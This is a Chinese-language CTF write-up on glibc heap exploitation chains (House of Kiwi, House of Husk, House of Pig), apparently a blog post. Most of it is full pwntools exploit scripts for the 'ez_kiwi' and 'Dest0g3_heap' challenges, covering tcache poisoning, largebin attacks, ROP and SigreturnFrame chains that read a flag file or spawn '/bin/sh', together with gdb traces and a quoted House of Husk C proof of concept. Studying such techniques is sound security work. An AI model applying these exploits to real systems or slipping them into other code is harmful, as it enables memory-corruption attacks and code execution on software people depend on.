libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1ebf75
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = elf.libc
libc.address = libc_base

magic = libc.sym.setcontext + 61
__sync = libc.sym._IO_file_jumps + 0x60
_IO_helper_jumps = libc_base + 0x1ec8a0

rax = libc_base + 0x000000000004a550
rdi = libc_base + 0x0000000000026b72
rsi = libc_base + 0x0000000000027529
rdx_r12 = libc_base + 0x000000000011c371
ret = rdi + 1
syscall = libc_base + 0x0000000000066229
read = libc.sym.read
write = libc.sym.write

'''
0x000000000004a550 : pop rax ; ret
0x0000000000026b72 : pop rdi ; ret
0x000000000011c371 : pop rdx ; pop r12 ; ret
0x0000000000027529 : pop rsi ; ret
0x0000000000025679 : ret
0x0000000000066229: syscall; ret;
'''

# Leak heap
dele(2)
add(0x18,2,'u'*0x11)
show(2)
ru('u'*0x10)
heap_leak = uu64(rc(6))
heap_base = (heap_leak>>12)<<12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
flag_addr = heap_base + 0x2a0
rop_addr = heap_base + 0x440

# Prepare ROP
rop_chain = flat(
# open('./flag\0')
[rax,2,rdi,flag_addr,rsi,0,rdx_r12,0,0,syscall] + \
# read(new_fd,flag_addr+0x10,0x50)
[rdi,3,rsi,flag_addr+0x10,rdx_r12,0x50,0,read] + \
# write(1,flag_addr+0x10,0x50)
[rdi,1,write] + ['\n']
)
edit(4,rop_chain)

# Tcache Poisoning1 _IO_file_jumps -> __sync = setcontext + 61
dele(7)
dele(2)
edit(1,'u'*0x18+p64(0x21)+p64(__sync) + p64(0) + '\n')
add(0x18,2)
add(0x18,7,p64(magic))

# Tcache Poisoning2 _IO_helper_jumps + 0xA0/0xA8
dele(0)
dele(2)
edit(1,'u'*0x18+p64(0x21)+p64(_IO_helper_jumps + 0xA0) + p64(0) + '\n')
add(0x18,2)
add(0x18,0,p64(rop_addr) + p64(ret))

# Tcache Poisoning3 topchunk -> size
dele(8)
dele(2)
edit(1,'u'*0x18+p64(0x21)+p64(heap_base+0x7a0) + p64(0) + '\n')
add(0x18,2)
add(0x18,8,p64(0)*2)

# Trigger kiwi ~~
pause()
gift()

p.interactive()
调试

简单的 off-by-one 就不提了,主要看一下任意写后咋进入的我们 kiwi 流程,又是怎么执行的 ROP

在 gift() 函数下断点,b malloc

当其他条件不满足时来到 sysmalloc 准备从 topchunk 中分配,但由于 topchunk 已经被 👴 🐑 完了,所以会进入 __malloc_assert

image-20220526164931591

然后我们的主角 fflush 就登场了,这里的 __fxprintf 也要眼熟一下( husk 会考):

image-20220526170141182

这里是重点,我们必须结合汇编代码才能玩明白点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> x/40i &fflush
0x7ffff7e5a4c0 <fflush>: endbr64
0x7ffff7e5a4c4 <fflush+4>: test rdi,rdi
0x7ffff7e5a4c7 <fflush+7>: je 0x7ffff7e5a590 <fflush+208>
0x7ffff7e5a4cd <fflush+13>: push rbp
0x7ffff7e5a4ce <fflush+14>: push rbx
0x7ffff7e5a4cf <fflush+15>: mov rbx,rdi
0x7ffff7e5a4d2 <fflush+18>: sub rsp,0x8
0x7ffff7e5a4d6 <fflush+22>: mov edx,DWORD PTR [rdi]
0x7ffff7e5a4d8 <fflush+24>: and edx,0x8000
0x7ffff7e5a4de <fflush+30>: jne 0x7ffff7e5a51d <fflush+93>
0x7ffff7e5a4e0 <fflush+32>: mov rdi,QWORD PTR [rdi+0x88]
0x7ffff7e5a4e7 <fflush+39>: mov rbp,QWORD PTR fs:0x10
0x7ffff7e5a4f0 <fflush+48>: cmp QWORD PTR [rdi+0x8],rbp
0x7ffff7e5a4f4 <fflush+52>: je 0x7ffff7e5a519 <fflush+89>
0x7ffff7e5a4f6 <fflush+54>: mov eax,DWORD PTR fs:0x18
0x7ffff7e5a4fe <fflush+62>: test eax,eax
0x7ffff7e5a500 <fflush+64>: jne 0x7ffff7e5a5a0 <fflush+224>
0x7ffff7e5a506 <fflush+70>: mov edx,0x1
0x7ffff7e5a50b <fflush+75>: cmpxchg DWORD PTR [rdi],edx
0x7ffff7e5a50e <fflush+78>: mov rdi,QWORD PTR [rbx+0x88]
0x7ffff7e5a515 <fflush+85>: mov QWORD PTR [rdi+0x8],rbp
0x7ffff7e5a519 <fflush+89>: add DWORD PTR [rdi+0x4],0x1
0x7ffff7e5a51d <fflush+93>: mov rbp,QWORD PTR [rbx+0xd8]
0x7ffff7e5a524 <fflush+100>: lea rdx,[rip+0x167375] # 0x7ffff7fc18a0 <_IO_helper_jumps>
0x7ffff7e5a52b <fflush+107>: lea rax,[rip+0x1680d6] # 0x7ffff7fc2608 <__elf_set___libc_atexit_element__IO_cleanup__>
0x7ffff7e5a532 <fflush+114>: sub rax,rdx
0x7ffff7e5a535 <fflush+117>: mov rsi,rbp
0x7ffff7e5a538 <fflush+120>: sub rsi,rdx
0x7ffff7e5a53b <fflush+123>: cmp rax,rsi
0x7ffff7e5a53e <fflush+126>: jbe 0x7ffff7e5a598 <fflush+216>
0x7ffff7e5a540 <fflush+128>: mov rdi,rbx
=> 0x7ffff7e5a543 <fflush+131>: call QWORD PTR [rbp+0x60]

好的,比较关键的几个点:

1
2
3
4
5
6
0x7ffff7e5a4cf <fflush+15>:  mov    rbx,rdi	# rbx = stderr
#0x7ffff7e5a50e <fflush+78>: mov rdi,QWORD PTR [rbx+0x88] rdi = [stderr + 0x88] = _IO_stdfile_2_lock

0x7ffff7e5a51d <fflush+93>: mov rbp,QWORD PTR [rbx+0xd8] # rbp = [stderr + 0xd8] = _IO_file_jumps
0x7ffff7e5a524 <fflush+100>: lea rdx,[rip+0x167375] # 0x7ffff7fc18a0 <_IO_helper_jumps>
0x7ffff7e5a543 <fflush+131>: call QWORD PTR [rbp+0x60] # call [_IO_helper_jumps + 0x60] <-> call __sync

可以发现我们的 rdx = _IO_helper_jumps,而高版本的 setcontext 又是由 rdx 控制:

image-20220526174433379

那么我们在 _IO_helper_jumps + 0xA0 布置的 rsp = rop_chain

1
0x7ffff7e2d0dd <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]   <0x7ffff7fc1940>

_IO_helper_jumps + 0xA8 布置的 rcx,也就是被 push 进栈,结束后 ret 取到的 rip = ret

image-20220526175716709

再往下走就到了 ROP 链了,不做过多调试展示:

image-20220526180101385

最后也是成功地执行了我们的链子,orw 出了 flag。

1
2
3
4
5
6
7
8
9
10
[DEBUG] Received 0xdc bytes:
"ez_kiwi: malloc.c:2379: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n"
ez_kiwi: malloc.c:2379: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
[DEBUG] Received 0x30 bytes:
00000000 63 61 66 66 65 31 6e 65 7b 74 65 73 74 5f 66 6c │caff│e1ne│{tes│t_fl│
00000010 61 67 7e 51 77 51 7e 7e 7e 7d 0a 00 00 00 00 00 │ag~Q│wQ~~│~}··│····│
00000020 40 65 e6 f7 ff 7f 00 00 10 d0 55 55 55 55 00 00 │@e··│····│··UU│UU··│
00000030
caffe1ne{test_flag~QwQ~~~}
\x00\x00\x00e\x7f\x00\x10UUUU\x00
没沙箱的简单情形

主要是搞清楚这个利用路线,明白啥时候 🐑 指定的函数指针。

因为比赛时题目没开沙箱,而且是 2.31 版本的 libc,下面是把 __sync 直接换成 system 函数,在 stderr 写 /bin/sh\0 的更简单情形。

这里走 kiwi 🐑 的是 main_arena -> top ,就不需要 leak 堆地址了。当然 leak 堆地址可以后去劫持 Tcache Struct 然后瞎几把 🐑 但是 👴 最近几天玩 Tcache 玩累了就没打了。但如果是 2.32 以上版本,由于指针异或机制,还是必须要 leak。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./ez_kiwi')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./ez_kiwi')
debug()

def menu(choice):
sla('>> ',str(choice))

def add(size,id,data='u'):
menu(1)
sla('How much do you want?',str(size))
sla('Which one do you want to put?',str(id))
sea('Tell me your idea:\n',str(data))

def dele(id):
menu(2)
sla('Which one do you want to remove?',str(id))

def show(id):
menu(3)
sla('Which one do you want to look?\n',str(id))

def edit(id,data):
menu(4)
sla('Which one do you want to change?',str(id))
sea('Change your idea:',str(data))

def gift():
menu(666)

# flag_addr = heap_base + 0x2a0
sla('Before the game starts, please give me your name:\n','./flag\0')

# Easy Heap Fengshui
add(0x18,0) # 0
add(0x18,1) # 1
add(0x18,2) # 2
add(0x100,3) # 3
add(0x100,4) # 4
add(0x100,5) # 5
add(0x100,6) # 6
add(0x18,7) # 7
add(0x18,8) # 8

# chunk1 -> size = 0x40
edit(0,'a'*0x18+'\x41')
dele(1)
add(0x38,1)

# chunk2 -> size = 0x460 Create a unsortedbin
edit(1,'u'*0x18 + p64(0x20 + 0x110*4 + 1) + '\n')
dele(2)

# Leak libc
add(0x18,2)
show(2)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1ebf75
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = elf.libc
libc.address = libc_base

magic = libc.sym.setcontext + 61
__sync = libc.sym._IO_file_jumps + 0x60
_IO_helper_jumps = libc_base + 0x1ec8a0

# Tcache Poisoning1 _IO_file_jumps -> __sync = system
dele(7)
dele(2)
edit(1,'u'*0x18+p64(0x21)+p64(__sync) + p64(0) + '\n')
add(0x18,2)
add(0x18,7,p64(libc.sym.system))

# Tcache Poisoning2 _IO_2_1_stderr_ -> _flags = '/bin/sh\0'
dele(0)
dele(2)
edit(1,'u'*0x18+p64(0x21)+p64(libc.sym._IO_2_1_stderr_) + p64(0) + '\n')
add(0x18,2)
add(0x18,0,'/bin/sh\0')

# Tcache Poisoning3 main_arena -> top = &main_arena - 0x10
dele(8)
dele(2)
edit(1,'u'*0x18+p64(0x21)+p64(libc_base + 0x1ebbe0) + p64(0) + '\n')
add(0x18,2)
add(0x18,8,p64(libc_base + 0x1ebbe0 - 96 - 16)*2)

# Trigger kiwi ~~
gift()

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
In file: /home/caffe1ne/Exps/Glibc/glibc-2.31/libio/iofflush.c
34 return _IO_flush_all ();
35 else
36 {
37 int result;
38 CHECK_FILE (fp, EOF);
39 _IO_acquire_lock (fp);
40 result = _IO_SYNC (fp) ? EOF : 0;
41 _IO_release_lock (fp);
42 return result;
43 }
44 }

在运行 _IO_SYNC (fp) 时运行的就是 system('/bin/sh')

image-20220526182847525

House of Husk

这条利用路线比较简单,条件是俩次任意写或者俩次 Largebin Attack。

原理

printf_positionalprintf-parsemb 函数中对处理各种格式化字符串的标识符( %p,%X 等):

1
2
3
4
5
6
7
8
9
10
11
12
/* Get the format specification.  */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)

__printf_function_table != NULL 并且 __printf_function_table[sepc] != NULL 时,会调用 __printf_function_table[(size_t) spec] 处的函数。

指定标识符偏移计算,以 ‘X’ 为例:

(ord(char)2)8(ord(X)2)8=868=688=0x2b0(ord(char) -2)*8\\ (ord('X')-2)*8=86*8=688=0x2b0

相应的我们得到最常用到的 %s 偏移为 0x388

注意这里 -2 是因为从内存区域而不是chunk头计算,从 chunk 头部计算就不要减二了。例如 %sord(s)8=0x398ord('s')*8=0x398👴 就是被这玩意坑了,不希望大 🔥 也上当受骗。

使用场景

  1. 能控制 __printf_arginfo_table 为堆地址,以在制定偏移处写我们的目标函数。
  2. 能使 __printf_function_table 不为空。

one_gadget 起效时,husk 有奇效,非常好用。不起效或开了沙箱时,可以在函数表写 exit 配合其他高版本 house 使用。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// ptr-yudai/House-of-Husk/blob/master/poc-husk.c
/**
* Husk's method - House of Husk
* This PoC is supposed to be run with libc-2.27
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdin, NULL);
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table */
free(a[1]);
free(a[2]);

/* ignite! */
getchar();
printf("%X", 0);

return 0;
}

House of Emma


House of Pig


Hosue of Banana


Stdout 任意读写

经典例题鉴赏

Dest0g3_heap

出自 BUUCTF 的 Dest0g3 520迎新赛。这题如果放到 2.34 且开沙箱,将是绝杀,👴 便愿称之为 IO 专项训练。可惜放不得。

但是 👴 这里还是自己分别假装打一下没有开了沙箱的情形和没有 hook 开了沙箱的情形,问就是 👴 不想自己整 demo 了。

分析

程序比较有意思,mmap 了一块空间,在其上我们可以任意 edit 和 free 。但是给我们的 add 是 calloc 一个堆块,对我们影响很大。 然后给的 show 也是 show 咱 calloc 的堆块,所以有点阴间。

Init

setvbuf 👴 也见得多了,这 8️⃣ 玩意用在 stdin 和 stdout 特别合适,可以解决远端交互的问题。但是它会把指针放到 bss 段上,用在 stderr 会让 👴 🐑 Emma 的难度增加。这函数就是 mmap 了一块可读可写的区域,用作我们自己的堆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sub_121A()
{
int fd; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
error("File urandom Open Failed");
read(fd, &buf, 5uLL);
Heap_arena = (__int64)mmap((void *)(buf & 0xFFFFFFFFF000LL), 0x3000uLL, 3, 34, -1, 0LL);
return v3 - __readfsqword(0x28u);
}

Add

calloc 就算了,这玩意 add 的时候没有给 👴 输入数据的机会,👴 有点难受。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_14A9()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
write(1, "size: ", 6uLL);
v1 = get_int();
buf = (char *)calloc(1uLL, v1);
return v2 - __readfsqword(0x28u);
}

Edit

只要在 mmap 分配的堆上,👴 想 edit 哪里,就 edit 哪里。主要这个 my_read 遇到 ‘\x0a’ 会截断,稍微注意一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_1513()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
write(1, "size: ", 6uLL);
v1 = get_int();
if ( v1 >= 0x1000 )
error("Invalid size Receviced");
write(1, "offset: ", 8uLL);
v2 = get_int();
if ( (unsigned int)v2 >= 0x2000 )
error("Invalid offset Receviced");
write(1, "content: ", 9uLL);
my_read(v2 + Heap_arena, v1);
write(1, "Edit done\n", 0xAuLL);
return v3 - __readfsqword(0x28u);
}

Dele

只要在 mmap 分配的堆上,👴 想 free 哪里,就 free 哪里。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 Free()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
write(1, "idx: ", 6uLL);
v1 = get_int();
if ( (unsigned int)v1 >= 0x3000 )
error("Invalid idx Receviced");
free((void *)(Heap_arena + v1));
return v2 - __readfsqword(0x28u);
}

Show

leak 的是 buf 内容,也就是我们 calloc 的堆块。对我们的堆布局提出了一些要求。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_1688()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
write(1, "content: ", 9uLL);
v1 = strlen(buf);
write(1, buf, v1);
return v2 - __readfsqword(0x28u);
}

Exp.Kiwi -> Husk -> Pig 成链

2.33 还是有 hook 的,Pig 是个不错的选择。

思路介绍

  1. 简单布个局,有 UAF 我们很容易地 leak 出 libc。
  2. 再简单的拿个堆地址,整完事就把堆恢复回去,起码不要带个 unsorted 一直玩,容易出事。
  3. 构造出同一 idx 下的 Largebin 和 Unsortedbin,为 Largebin Attack 作准备。
  4. Largebin Attack 开始乱 🐑 ,通常好一点的布局在有 Edit 的情况下,可以实现多次 Largebin Attak,👴 这是通常布局所以多次⑧是问题。
  5. 先打完 husk 的俩张表,在对应偏移处写 exit 函数。👴 这里拿的是 %s 也就是 hex(ord(s)8)=0x398hex(ord('s')*8)=0x398 。你拿 %u 也就是 0x3a8 也彳亍。
  6. 打 _IO_list_all,待会布置 _IO_FILE 链子。
  7. 打 main_arena 的 topchunk ,如果你想的话,去 leak 出真正的堆地址,然后错位打 size ,也 ⑧ 是不彳亍。
  8. 分配一个大堆块,Kiwi 里的 vfprintf 可以触发 Husk 进入 exit,然后在 _IO_flush_all_lockp 遍历我们的 IO 链子,实现 Pig 的手法。

IO 链解释

👴 建议带 🔥 仔细跟一下 _IO_str_overflow 的汇编和源码。

  1. 这里主要是用到了 _IO_str_overflow 里的非预期 malloc 堆块和 memcpy,结合我们的 TcachePoisoning,多次利用这个 trick,达到了任意写的功能。👴 这里扬掉了 __malloc_hook
  2. _IO_str_overflow 函数中会将我们 IO 结构体的 _IO_write_ptr 放到 rdx,利于高版本下的 setcontext+61 的绕沙盒操作。
  3. 因为这题没开沙箱,这里在堆地址上写 /bin/sh\0,在 __malloc_hook 写 system,把 malloc 的 size 控制成 (bin_sh100)//2(bin\_sh-100)//2 就可以 getshell。 栈迁移后经典 pop rdi,ret;bin_sh;system; 的布局当然也是欧尅的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.32/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./des_heap')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./des_heap')
debug()
# p = remote('node4.buuoj.cn',28897)

def menu(choice):
sla('>> ',str(choice))
sleep(0.03)

def add(size):
menu(1)
sla('size: ',str(size))

def edit(offset,data,size=0x1000-1):
menu(2)
sla('size: ',str(size))
sla('offset: ',str(offset))
sla('content: ',str(data))

def dele(id):
menu(3)
sla('idx: ',str(id))

def show():
menu(4)

'''
-------------------------------------------------------------------------
| |
| Init Heap |
| |
-------------------------------------------------------------------------
'''
add(0x100)

'''
-------------------------------------------------------------------------
| |
| 0x100*8 ---> Full Tcache ,Leak libc |
| |
-------------------------------------------------------------------------
'''
chunk = p64(0) + p64(0x101) + 'u'*0xf0
for i in range(7):
chunk += p64(0) + p64(0x101) + 'u'*0xf0
edit(0,chunk)
for i in range(7):
dele(0 + 0x10 + (7-i)*0x100)
dele(0 + 0x10)
add(0xf8)
dele(0 + 0x10)

# Bypass \x00 Leak libc
edit(0,'u'*0x11,0x11)
show()
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1e0c75
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = elf.libc
libc.address = libc_base
rax = libc_base + 0x0000000000044c70
rdi = libc_base + 0x0000000000028a55
rsi = libc_base + 0x000000000002a4cf
rdx_r12 = libc_base + 0x0000000000112a51
syscall_ret = libc_base + 0x000000000006105a
ret = libc_base + 0x0000000000028a55 + 1
read_addr = libc.sym.read
write_addr = libc.sym.write
__malloc_hook = libc.sym.__malloc_hook
__free_hook = libc.sym.__free_hook
system_addr = libc.sym.system
# bin_sh%1 == 1
# bin_sh = libc.search('/bin/sh').next()
'''
Husk
'''
__printf_function_table = libc_base + 0x1e35c8
__printf_arginfo_table = libc_base + 0x1eb218
exit = libc.sym.exit
'''
Pig
'''
_IO_list_all = libc_base + 0x1e15c0
_IO_str_jumps = libc_base + 0x1e2560
magic = libc.sym.setcontext + 61
'''
Kiwi
'''
top_chunk = libc_base + 0x1e0c00


'''
-------------------------------------------------------------------------
| |
| Leak Heap,Recover Heap |
| |
-------------------------------------------------------------------------
'''
edit(0,p64(0)+p64(0x101)+'\x00',0x11)
add(0x58)
dele(0 + 0x10)
show()
ru('content: ')
heap_leak = uu64(rc(4))
heap_base = heap_leak << 12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
add(0x98) # 0xa0 + 0x60 = 0x100 Recover Heap

'''
-------------------------------------------------------------------------
| |
| Largebin Attack Preparing..... |
| |
-------------------------------------------------------------------------
'''

chunk = p64(0) + p64(0x21) + '\0'*0x10 + p64(0) + p64(0x431) + '\0' * 0x420 + p64(0) + p64(0x101) + 'u'*0xf0 + p64(0) + p64(0x421) + '\0'*0x410 + p64(0) + p64(0x21) + '\0'*0x10 + p64(0) + p64(0x21) + '\0'*0x10
lg('LEN',len(chunk))
edit(0x1000,chunk)


dele(0x1000 + 0x20 + 0x10) # Largebin
add(0x1000)


'''
-------------------------------------------------------------------------
| |
| Largebin Attack __printf_function_table&__printf_arginfo_table |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10) # Unsorted
edit(0x1000+0x20 + 0x28,p64(__printf_function_table - 0x20))
add(0xf8)
lg('__printf_function_table',__printf_function_table)

dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000+0x20 + 0x28,p64(__printf_arginfo_table - 0x20))
add(0xf8)
lg('__printf_function_table',__printf_arginfo_table)
edit(0x1000 + 0x20 + 0x398,p64(exit))# Exit


'''
-------------------------------------------------------------------------
| |
| Largebin Attack _IO_list_all |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000+0x20 + 0x28,p64(_IO_list_all - 0x20))
add(0xf8)
lg('_IO_list_all',_IO_list_all)


'''
-------------------------------------------------------------------------
| |
| Largebin Attack main_arena's topchunk,Kiwi Preparing..... |
| |
-------------------------------------------------------------------------
'''
dele(0x1000 + 0x20 + 0x430 + 0x100 + 0x10)
edit(0x1000 + 0x20 + 0x28,p64(top_chunk - 0x20))
add(0xf8)
lg('_IO_list_all',_IO_list_all)



'''
-------------------------------------------------------------------------
| |
| Tcache Poisoning,Make up _IO_FILE chain,Pig Preparing..... |
| |
-------------------------------------------------------------------------
'''

edit(0x110,p64(heap_leak^(__malloc_hook)),8)
edit(0x10,'\0'*0x50,0x58)
edit(0 + 0x60 + 0x10,p64(magic) + '\0'*0x50,0x58)

fuck = SigreturnFrame()
fuck.rsp = heap_base + 0xD10
fuck.rip = ret

orw = flat([
rax,2,rdi,heap_base + 0xD00,rsi,0,syscall_ret,rdi,4,rdx_r12,0x100,0,rsi,heap_base + 0x10,read_addr,rdi,1,write_addr
])
edit(0 + 0xA00 ,fuck,0x300)
edit(0 + 0xD00,'/flag\0',8)
edit(0 + 0xD10,orw,0x100)

# write_ptr
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(heap_base + 0x10)+p64(heap_base + 0x10 + 70)+p64(0)*4 # buf_base,buf_end
payload += p64(heap_base + 0x1000 + 0xA00)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0x20,payload)

# write_ptr
payload = p64(0)*4+p64(0) + p64(0xffffffffffffffff) +p64(0) #rdx
payload += p64(heap_base + 0x60 + 0x10)+p64(heap_base + 0x60 + 0x10 + 70)+p64(0)*4 # buf_base,buf_end
payload += p64(heap_base + 0x1000 + 0xA00 + 0x200)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0xA00,payload)

# ORW # rdx
payload = p64(0)*4+p64(0) + p64(heap_base + 0xA00) +p64(0) #rdx
payload += p64(0)+p64(1)+p64(0)*4 # buf_base,buf_end
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 # _chain
payload += p64(0)*4+"\x00"*48
payload += p64(_IO_str_jumps)
edit(0x1000 + 0xA00 + 0x200,payload)

'''
-------------------------------------------------------------------------
| |
| Trigger Kiwi --> Husk --> Pig |
| |
-------------------------------------------------------------------------
'''
